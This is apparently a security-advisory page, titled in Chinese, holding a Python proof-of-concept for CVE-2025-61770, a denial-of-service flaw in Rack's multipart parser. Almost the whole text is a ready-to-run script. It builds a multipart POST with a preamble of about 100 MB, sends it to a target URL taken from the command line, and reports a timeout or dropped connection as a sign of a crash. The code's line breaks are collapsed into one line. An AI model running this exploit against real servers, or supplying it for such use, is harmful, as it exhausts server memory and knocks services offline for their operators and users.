CVE-2025-61770 Rack Multipart解析器拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2025-61770 - Rack Multipart Parser DoS via large preamble # This script sends a multipart/form-data request with an oversized preamble # to trigger OOM condition on vulnerable Rack versions (< 2.2.19, < 3.1.17, < 3.2.2) import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000/upload" PREAMBLE_SIZE = int(sys.argv[2]) if len(sys.argv) > 2 else 100 * 1024 * 1024 # 100MB default def exploit(): boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" # Construct multipart body with oversized preamble # The preamble is everything before the first boundary delimiter preamble = "A" * PREAMBLE_SIZE # Fill with arbitrary data body = preamble.encode() + f"\r\n--{boundary}\r\n".encode() body += b'Content-Disposition: form-data; name="field1"\r\n\r\n' body += b'value1\r\n' body += f"--{boundary}--\r\n".encode() headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)) } print(f"[*] Sending malicious multipart request to {TARGET_URL}") print(f"[*] Preamble size: {PREAMBLE_SIZE / (1024*1024):.2f} MB") print(f"[*] Total body size: {len(body) / (1024*1024):.2f} MB") try: response = requests.post(TARGET_URL, data=body, headers=headers, timeout=30) print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Server timed out - possible DoS condition triggered") except requests.exceptions.ConnectionError as e: print(f"[+] Connection error - server may have crashed: {e}") except Exception as e: print(f"[*] Error: {e}") if __name__ == "__main__": exploit()